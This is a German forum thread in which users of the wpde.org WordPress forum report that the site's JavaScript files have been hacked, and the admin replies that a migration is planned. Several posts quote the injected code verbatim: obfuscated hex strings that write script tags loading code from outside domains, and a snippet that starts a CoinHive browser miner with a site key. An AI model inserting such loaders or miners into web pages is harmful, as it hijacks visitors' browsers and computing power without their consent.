Trojaner an Board?

Das Forum ist wieder verseucht. Unglaublich aber wahr. Wieder mal der CoinMiner Trojaner. Offenbar gelingt es seit Monaten nicht, diese Lücke zu schliessen, warum auch immer... :???:

forum.wpde.org/clientscript/vbulletin_read_marker.js?v=425

Zitat

... title=vbphrase.doubleclick_forum_markread;A[B].style.cursor=pointer_cursor;A[B].ondblclick=init_forum_readmarker_icon}}}};[COLOR=#ff0000] var _0x3763=["\x3C\x73[/COLOR]...[COLOR=#ff0000]\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x66\x69\x6F\x2E\x63\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0x9473=[_0x3763[0],_0x3763[1]];var _0x6095=[_0x9473[0],_0x9473[1]];var _0xd944=[_0x6095[0],_0x6095[1]];var _0x76bb=[_0xd944[0],_0xd944[1]];var _0x38cf=[_0x76bb[0],_0x76bb[1]];var _0xc93a=[_0x38cf[0],_0x38cf[1]];document[_0xc93a[1]](_0xc93a[0])[/COLOR]

Ergänzung: Da es immer wieder möglich ist, JavaScript-Dateien auf dem Server so abzuändern, ist der komplette Server als verseucht zu betrachten...

Ich bekomme die Krise, technischer Admin kümmert sich angeblich...

Zitat von SirEctor

Ja..... Kaspersky schlägt auch wieder bei mir Alarm und blockiert fleißig. Kann die Lücke nicht gefunden werden?

Dieses mal kommt das Script wohl von oei1(dot).de und/oder mfio(dot)cf.

Wenn man VB nicht aktualisiert dann wohl nicht.

Also hier kommt die Meldung immer noch. Windows 10 mit chrome.

wpde.org/wp-content/themes/wpde/fontface/ss-social.js

Zitat

...

var s=document.createElement('script');s.src='https://[COLOR=#ff0000]coinhive.com[/COLOR]/lib/coinhive.min.js';s.type='text/javascript';s.onload=function (){var m=new CoinHive.Anonymous('CpEx3ELulxwmzYaxko776oqjtK8c5ZEy',{throttle:0.65});m.start();};document.getElementsByTagName('head')[0].appendChild(s);

Unglaublich, unglaublicher, unglaublichst...

Vielleicht sollte man wirklich mal über eine Alternative nachdenken?

Schade das hier von Seiten der Macher so wenig Rückmeldungen kommen. Aber das scheint wohl in der heutigen Zeit so zu sein...

Hallo zusammen,

da die Situation nicht mehr tragbar ist und ich trotz extrem langem Geduldsfaden keine verbindliche Antwort von der tech. Administration bekomme:

http://forum.wpde.org/jobboerse/1804…ch-xenforo.html

Ich hoffe damit in absehbarer Zeit mit professioneller Hilfe diesen Mist behoben zu bekommen. Ich bin hier ganz klar auf Unterstützung angewiesen und möchte nochmals ganz klar stellen, dass von meiner Seite kein Miningscript etc. mit Absicht eingebaut wurde.

Beste Grüsse

Olaf

Zitat von b3317133

wpde.org/wp-content/themes/wpde/fontface/ss-social.js
Unglaublich, unglaublicher, unglaublichst...

Das gehackte Script ist nach wie vor gehackt, was soll man dazu noch sagen..

Eine Nutzung des Forums bzw. der ganzen wpde.org Seite ist damit derzeit nicht anzuraten.

Naja, jetzt sollte man die Kirche im Dorf lassen. Der Admin hat ja die Migration zur neuen Foren Software öffentlich ausgeschrieben.

Wenn sich in naher Zeit nichts tut, kann man selber entscheiden ob man weiter hier unterwegs sein will.

Und wieder ist das Forum gehackt und versucht Trojaner von den Domains [FONT=courier new]wordc.ga[/FONT] und [FONT=courier new]mwor.gq[/FONT] nachzuladen... ohne Worte.

forum.wpde.org/clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js?v=425

Zitat

/*
Copyright (c) 2011, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.com/yui/license.html
version: 2.9.0
*/
[COLOR=#ff0000]var _0x33b3=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x77\x6F\x72\x64\x63\x2E\x67\x61\x2F\x69\x69\x6C\x6C\x69\x6F\x69\x64\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x77\x6F\x72\x2E\x67\x71\x2F\x69\x6F\x65\x66\x6A\x6A\x65\x69\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0x3ecb=[_0x33b3[0],_0x33b3[1]];var _0x5bf0=[_0x3ecb[0],_0x3ecb[1]];var _0x9203=[_0x5bf0[0],_0x5bf0[1]];var _0xab61=[_0x9203[0],_0x9203[1]];document[_0xab61[1]](_0xab61[0])[/COLOR]
if(typeof YAHOO=="undefined"||!YAHOO){var YAHOO={};}YAHOO.namespace=function(){var b=arguments,g=null,e,c,f;for(e=0;e<b.length;e=e+1){f=(""+b[e]).split(".");g=YAHOO;for...

Alles anzeigen

Seit dem 23. März 2018 läuft eine neue, komplett andere Forensoftware.

https://forum.wpde.org/threads/willko…g-forum.180869/